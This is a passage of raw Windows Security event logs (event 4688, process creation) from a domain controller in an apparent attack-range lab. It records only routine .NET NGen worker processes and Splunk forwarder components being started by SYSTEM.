AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x13a0 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 684 -InterruptEvent 0 -NGENProcess 6a0 -Pipe 6a8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255042 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x678 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 6b8 -InterruptEvent 0 -NGENProcess 648 -Pipe 6a4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255041 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x4a8 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 698 -InterruptEvent 0 -NGENProcess 6a8 -Pipe 5a0 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255055 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x450 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 67c -InterruptEvent 0 -NGENProcess 6bc -Pipe 708 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255054 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1278 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 6a0 -InterruptEvent 0 -NGENProcess 5fc -Pipe 61c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255053 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11f8 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 6dc -InterruptEvent 0 -NGENProcess 6b4 -Pipe 69c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255052 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc2c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 69c -InterruptEvent 0 -NGENProcess 6dc -Pipe 6e0 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255051 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x128c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255050 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1158 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 67c -InterruptEvent 0 -NGENProcess 684 -Pipe 68c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255049 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc6c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 65c -InterruptEvent 0 -NGENProcess 6b0 -Pipe 6ec -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255059 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x904 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255058 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x328 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 6f4 -InterruptEvent 0 -NGENProcess 6ac -Pipe 6f0 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255057 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12c0 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 6b0 -InterruptEvent 0 -NGENProcess 5fc -Pipe 5ec -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255056 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xeac - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255062 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x100c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255061 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf3c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 710 -InterruptEvent 0 -NGENProcess 6b0 -Pipe 714 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255060 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd40 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 6d4 -InterruptEvent 0 -NGENProcess 648 -Pipe 6cc -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255068 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x678 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 700 -InterruptEvent 0 -NGENProcess 740 -Pipe 684 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255067 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10d4 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 684 -InterruptEvent 0 -NGENProcess 700 -Pipe 6f4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require 